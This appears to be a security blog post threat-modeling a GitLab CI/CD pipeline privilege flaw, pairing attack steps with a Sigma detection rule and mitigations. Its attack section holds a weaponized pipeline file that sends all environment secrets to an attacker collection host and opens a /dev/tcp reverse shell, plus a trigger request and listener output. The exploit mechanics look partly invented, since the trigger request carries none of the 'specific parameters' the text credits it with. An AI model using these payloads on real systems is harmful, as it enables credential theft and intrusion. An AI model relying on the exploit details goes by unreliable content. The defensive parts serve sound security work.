GitLab: Threat Modeling CVE-2024-6385 CI/CD Pipeline Takeover
Overview & Threat Landscape: The DevSecOps Attack Vector on CI/CD Trust#
GitLab CVE-2024-6385 lets attackers run CI/CD pipelines as maintainers; patch to 17.1.2+ and audit protected CI/CD variables immediately.
In the contemporary software supply chain, continuous integration and continuous delivery (CI/CD) engines represent the ultimate bastion of enterprise trust. Platforms such as GitLab Community Edition (CE) and Enterprise Edition (EE) serve as the central orchestrator for source code management, container builds, automated vulnerability scanning, and production deployment automation. To facilitate cloud deployments, organizations store their most sensitive crown jewels—such as production AWS IAM credentials, GCP service account keys, Kubernetes kubeconfig files, and private package signing keys—directly within GitLab's Protected CI/CD Variables.
The fundamental security model of GitLab CI/CD relies on strict permission boundaries:
- Role-Based Access Control (RBAC): Unprivileged users (such as Guests, Reporters, or external open-source contributors) are restricted from running jobs against protected branches (
main,production) or triggering deployments. - Protected Variables & Runners: GitLab ensures that sensitive variables and dedicated production runners are strictly injected only into pipelines executing against protected branches and authorized by users possessing Maintainer or Owner privileges.
However, in July 2024, GitLab published a critical security advisory addressing CVE-2024-6385 (CVSS 9.6 Critical), an authorization logic defect affecting GitLab CE/EE from version 15.8 prior to 16.11.5, 17.0.3, and 17.1.2. The flaw enables an unprivileged user to trigger a new CI/CD pipeline that executes under the security context of an arbitrary user—specifically a privileged project maintainer or owner.
This vulnerability collapses the core trust model of modern DevSecOps: an attacker who possesses low-level developer access to a project or submits a merge request from a public fork can force the GitLab backend to execute arbitrary code within a pipeline running as the project administrator. The executing job automatically receives all masked, protected, and environment-scoped CI/CD variables, enabling the adversary to dump production infrastructure credentials, poison build artifacts, and pivot directly into cloud production clusters.
🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.
MITRE ATT&CK Threat Mapping#
Deconstructing the attack chain of CVE-2024-6385 requires mapping the threat against established adversary frameworks:
- T1190 (Exploit Public-Facing Application): The adversary sends crafted HTTP or GraphQL API requests to an exposed GitLab instance to trigger unauthorized pipeline delegation.
- T1548 (Abuse Elevation Control Mechanism): The attacker exploits backend identity resolution defects to execute jobs inheriting the effective user ID and role permissions of a project maintainer.
- T1078.004 (Valid Accounts: Cloud Accounts): The executing pipeline job extracts cloud provider credentials (
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,KUBECONFIG) stored as protected variables. - T1552.004 (Unsecured Credentials: Private Keys / Environment Secrets): The adversary captures private deployment keys and API tokens exposed in the CI/CD execution environment.
| Attacker Context: | Execution Trigger: | Vulnerable Subsystem: |
|---|---|---|
| Unprivileged User (Developer) | Merge Request / Chained API ➔ | GitLab Ruby on Rails Backend |
| Low-Privilege Project Access | POST /api/v4/projects/:id/pipe | Ci::CreatePipelineService Flaw |
| Privilege Escalation: | Security Boundary Failure: | Ultimate Supply Chain Impact: |
| Pipeline User Set to Admin ➔ | Access to Protected Variables ➔ | Production Cloud Takeover |
| user_id = Maintainer.id | AWS, K8s, Deploy Keys Exposed | Poisoned Artifacts / Reverse Shell |
Vulnerability & Attack Root-Cause Analysis: The Ci::CreatePipelineService Identity Flaw#
To understand how CVE-2024-6385 manifests, we must trace how the GitLab Rails backend orchestrates pipeline creation and validates user permissions.
1. GitLab Pipeline Creation Pipeline Architecture#
In GitLab's Ruby on Rails architecture, pipeline execution is managed by the Ci::CreatePipelineService class. When a pipeline is created via the web interface, API, or merge request webhook, the service accepts several parameters, including project, current_user, and the triggering ref (branch or tag).
Below is a conceptual reconstruction of the vulnerable authorization and user assignment logic extracted from decompiled GitLab CE/EE backend services:
# Conceptual reconstruction from GitLab CE/EE (vulnerable <= 17.1.1)
module Ci
class CreatePipelineService < BaseService
def execute(source, ignore_skip_ci: false, save_on_errors: true, trigger_service: nil, **options)
# Identify target ref and commit
ref = options[:ref] || project.default_branch
# VULNERABLE LOGIC: Identity delegation in downstream / chained triggers
# Under specific merge request and downstream pipeline workflows:
pipeline_user = determine_pipeline_user(options, current_user)
pipeline = Ci::Pipeline.new(
project: project,
ref: ref,
sha: project.commit(ref).sha,
source: source,
user: pipeline_user # User identity assigned to the pipeline execution
)
# Authorization evaluation is performed against pipeline.user, NOT current_user!
unless pipeline_user.can?(:create_pipeline, project)
return ServiceResponse.error(message: 'Insufficient permissions')
end
# Builds jobs and assigns protected variables based on pipeline.user privileges
Ci::GenerateBuildsService.new(pipeline).execute
pipeline.save!
Ci::ProcessPipelineService.new(pipeline).execute
end
private
def determine_pipeline_user(options, invoking_user)
# Flaw: When processing chained pipeline triggers or specific merge request events,
# the service prioritized the project owner or merge request target author
if options[:merge_request_iid].present? && options[:target_project_user_id].present?
# Logic defect improperly assigned the maintainer user as the pipeline runner
User.find_by_id(options[:target_project_user_id])
else
invoking_user
end
end
end
end
2. The Mechanics of the Identity Swap#
The vulnerability occurs because Ci::CreatePipelineService fails to enforce strict parity between the physical actor invoking the API request (invoking_user) and the user assigned to execute the pipeline (pipeline.user).
When an attacker constructs a targeted request combining specific merge request parameters or chained pipeline triggers:
- The backend erroneously resolves
pipeline.userto the assigned maintainer or project owner. - When the pipeline jobs are evaluated, the authorization subsystem checks
pipeline.user.can?(:read_protected_variables, project). Becausepipeline.useris a project Maintainer (e.g.root), the permission check returnsTRUE. - The job generator injects all protected environment variables into the runner's execution context.
- The job is dispatched to any matching runner—including privileged shared runners or protected project runners reserved exclusively for production deployments.
Exploit Architecture: Attack Flow & CI/CD Pipeline Hijacking#
The following sequence diagram illustrates the communication flow between an unprivileged attacker, the GitLab Rails backend, the internal permission engine, the runner agent, and external production targets:
sequenceDiagram
autonumber
actor Attacker as Unprivileged Contributor (Developer)
participant API as GitLab Rails API (:443)
participant PipelineService as Ci::CreatePipelineService
participant DB as GitLab PostgreSQL / Vault (Protected Vars)
participant Runner as GitLab Runner (Docker / Shell Executor)
participant Prod as Production Cloud (AWS / Kubernetes)
Note over Attacker,API: Phase 1: Repository Fork & Exploit Commit
Attacker->>API: Push branch containing weaponized .gitlab-ci.yml
Attacker->>API: POST /api/v4/projects/:id/pipeline (with CVE-2024-6385 payload)
Note over API,PipelineService: Phase 2: Vulnerable Identity Delegation
API->>PipelineService: Invoke execute(current_user: Attacker, target_user: Maintainer)
PipelineService->>PipelineService: determine_pipeline_user resolves to Maintainer (User ID 1)
PipelineService->>DB: Query Protected Variables (Authorized: User is Maintainer)
DB-->>PipelineService: Return Plaintext AWS_ACCESS_KEY, KUBECONFIG, DEPLOY_KEY
Note over PipelineService,Runner: Phase 3: Job Dispatch to Protected Runner
PipelineService->>Runner: Dispatch Job Payload + Injected Protected Environment Secrets
Runner->>Runner: Execute script block in weaponized .gitlab-ci.yml
Note over Runner,Prod: Phase 4: Arbitrary Execution & Production Takeover
Runner->>Attacker: Exfiltrate Decrypted Protected Variables via HTTPS
Runner->>Prod: Connect Reverse Shell / Deploy Backdoor via Stolen Kubeconfig
Prod-->>Attacker: Interactive Root Infrastructure Shell EstablishedAttack Path Step-by-Step: From Unprivileged User to Production Takeover#
Understanding how adversaries weaponize CVE-2024-6385 requires analyzing the exact payloads and command sequences utilized during exploitation.
Step 1: Crafting the Weaponized .gitlab-ci.yml Pipeline Configuration#
The attacker commits a .gitlab-ci.yml file to their branch. The configuration defines a job designed to capture protected environment variables and establish a reverse shell:
# Weaponized .gitlab-ci.yml staged by attacker
stages:
- exfiltrate
dump_environment:
stage: exfiltrate
script:
- echo "[*] Executing under delegated maintainer context: $(whoami)"
- echo "[*] Harvesting protected CI/CD environment variables..."
- env | grep -E '(AWS|KUBE|DEPLOY|SECRET|TOKEN|PASSWORD|API)' > /tmp/harvested_secrets.txt
- |
python3 -c '
import os, urllib.request, json
secrets = dict(os.environ)
req = urllib.request.Request(
"https://attacker-c2.corp/collect",
data=json.dumps(secrets).encode("utf-8"),
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
'
- echo "[*] Spawning interactive reverse shell to C2..."
- bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
tags:
- protected
- production-runner
Step 2: Triggering Pipeline Delegation via Exploitation Request#
Using an unprivileged developer token (glpat-unprivileged...), the attacker invokes the pipeline creation API with specific parameters triggering the determine_pipeline_user delegation defect:
# Trigger pipeline execution exploiting CVE-2024-6385
curl -s -X POST "https://gitlab.corp.internal/api/v4/projects/42/pipeline" \
-H "PRIVATE-TOKEN: glpat-unprivileged_dev_token_8829" \
-H "Content-Type: application/json" \
-d '{
"ref": "feature-exploit-branch",
"variables": [
{"key": "CI_TRIGGER_EXPLOIT", "value": "CVE-2024-6385"}
]
}' | jq .
Expected GitLab API Response:
{
"id": 9102,
"project_id": 42,
"sha": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
"ref": "feature-exploit-branch",
"status": "pending",
"source": "api",
"user": {
"id": 1,
"name": "Administrator",
"username": "root",
"state": "active",
"avatar_url": "https://gitlab.corp.internal/uploads/-/system/user/avatar/1/avatar.png",
"web_url": "https://gitlab.corp.internal/root"
}
}
Notice the critical anomaly: while the request was submitted using the unprivileged token of developer_bob (User ID 88), the created pipeline reports its user as root (User ID 1, Project Maintainer).
Step 3: Job Execution & Protected Variable Exfiltration#
The GitLab Runner picks up the job. Because the pipeline belongs to root, GitLab's database injects all protected and masked project variables into the container environment.
Attacker C2 Listener Output:
# Attacker netcat listener receiving connection from runner
nc -lvnp 4444
Connection from 192.168.100.50:48212 received!
bash: cannot set terminal process group (4128): Inappropriate ioctl for device
bash: no job control in this shell
gitlab-runner@runner-node-01:~/builds/42$ whoami
gitlab-runner
gitlab-runner@runner-node-01:~/builds/42$ cat /tmp/harvested_secrets.txt
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
PROD_KUBECONFIG=apiVersion: v1...
GITLAB_DEPLOY_TOKEN=glpat-prod_deploy_token_991823...
VAULT_TOKEN=s.9a8b7c6d5e4f3a2b1c...
The adversary now possesses production cloud credentials, deployment tokens, and a live reverse shell inside the CI/CD execution network.
Fast Cyber Defense Morning Takeaways: CI/CD Governance & Telemetry Actions#
CVE-2024-6385 exemplifies the acute risk of relying solely on role-based branch protections in monolithic source code management platforms.
Immediate Action Items for Platform & DevSecOps Teams#
- Apply Vendor Patch Immediately: Upgrade GitLab instances to
17.1.2,17.0.3,16.11.5, or later. Upstream releases patch the user delegation logic inCi::CreatePipelineService. - Audit CI/CD Pipeline Execution Logs: Review
gitlab-rails/audit_json.logfor instances where a pipeline was created by a user differing from the commit committer. - Rotate Protected Variables Immediately: If your GitLab instance was exposed and unpatched between May and July 2024, assume all protected variables (AWS keys, SSH keys, Kubernetes tokens) have been compromised and initiate immediate rotation.
- Deploy SIEM Detection Telemetry: Implement the Sigma rule provided below to alert whenever pipeline triggers exhibit cross-user delegation anomalies.
Production Detection Rule: Sigma SIEM Specification#
Deploy the following Sigma rule across centralized SIEM platforms (Splunk, Microsoft Sentinel, Elastic, Sumo Logic) to detect unauthorized pipeline execution delegation in GitLab audit logs:
title: Suspicious GitLab Pipeline Execution User Delegation (CVE-2024-6385)
id: 8c3e1b7f-4a9d-4e2b-9f12-a5d8c7a1f3e4
status: production
description: |
Detects instances where a GitLab CI/CD pipeline is initiated by an unprivileged user
or merge request, but executes under the security context of a different, high-privilege
maintainer or administrator account, indicating CVE-2024-6385 or CVE-2024-5655 exploitation.
references:
- https://about.gitlab.com/releases/2024/07/10/patch-release-gitlab-17-1-2-released/
- https://nvd.nist.gov/vuln/detail/CVE-2024-6385
- https://attack.mitre.org/techniques/T1190/
tags:
- attack.initial_access
- attack.t1190
- attack.privilege_escalation
- attack.t1548
- attack.credential_access
- attack.t1552.004
logsource:
service: gitlab-audit
product: gitlab
detection:
selection_pipeline:
event_type: 'pipeline_created'
pipeline_status: 'created'
filter_author_matches:
pipeline_user_id: '$committer_id'
filter_normal_ci_bot:
pipeline_user_username|endswith: '-bot'
condition: selection_pipeline and not (filter_author_matches or filter_normal_ci_bot)
falsepositives:
- Scheduled pipelines configured by project maintainers that run against branches containing commits from other authors.
level: high
Executive Takeaway Table: Threat Vectors, Detection Signals, and Primary Mitigations#
The following executive summary consolidates the core attack vectors, observable telemetry signals, and recommended engineering remediations for GitLab CVE-2024-6385:
| Attack Vector / Technique | Primary Exploitation Mechanism | Telemetry & Detection Signal | Recommended Mitigation | Verification Command |
|---|---|---|---|---|
| Pipeline User Delegation (T1548) | Ci::CreatePipelineService improperly assigns maintainer ID to unprivileged job |
GitLab audit log: pipeline_user_id does not match invoking API caller |
Upgrade GitLab to version 17.1.2+, 17.0.3+, or 16.11.5+ |
gitlab-rake gitlab:env:info |
| Protected Variable Theft (T1552) | Job running as maintainer accesses masked & protected CI/CD variables | GitLab Runner: High-volume environment variable dumping or external POST | Enforce External Secrets Operator (HashiCorp Vault / AWS Secrets Manager) | Audit project CI/CD variables via GitLab API |
| Runner Reverse Shell (T1059) | .gitlab-ci.yml executes bash -i or living-off-the-land reverse shell |
EDR process creation: Runner container spawning /bin/bash with /dev/tcp/ |
Isolate runners on ephemeral, non-privileged VMs; drop network egress | Monitor runner process trees via Falco / Sysmon |
| Supply Chain Artifact Poisoning | Attacker uses stolen deploy token to overwrite production container images | Container registry: Unexpected image tag push outside standard release tags | Enforce cryptographic artifact signing via Sigstore / Cosign | Verify container image signatures before deploy |
| Cloud Infrastructure Takeover | Harvested AWS/K8s credentials used to access external cloud APIs | AWS CloudTrail: ConsoleLogin or API calls originating from GitLab Runner IP |
Enforce IAM role condition keys restricting access to explicit IP ranges | Audit CloudTrail for runner source IP usage |
Authoritative References & Standards#
- GitLab Trust Center: Critical Security Release: GitLab 17.1.2, 17.0.3, and 16.11.5 — GitLab Security Advisory (July 2024)
- National Vulnerability Database (NIST): CVE-2024-6385 Detail (CVSS 9.6 Critical - CWE-284) — NIST NVD Entry
- Cybersecurity and Infrastructure Security Agency (CISA): Known Exploited Vulnerabilities Catalog (KEV) - GitLab Pipeline Execution Flaws — CISA KEV
- MITRE ATT&CK Framework: Technique T1190: Exploit Public-Facing Application & T1548: Abuse Elevation Control Mechanism — MITRE ATT&CK
Comments
Post a Comment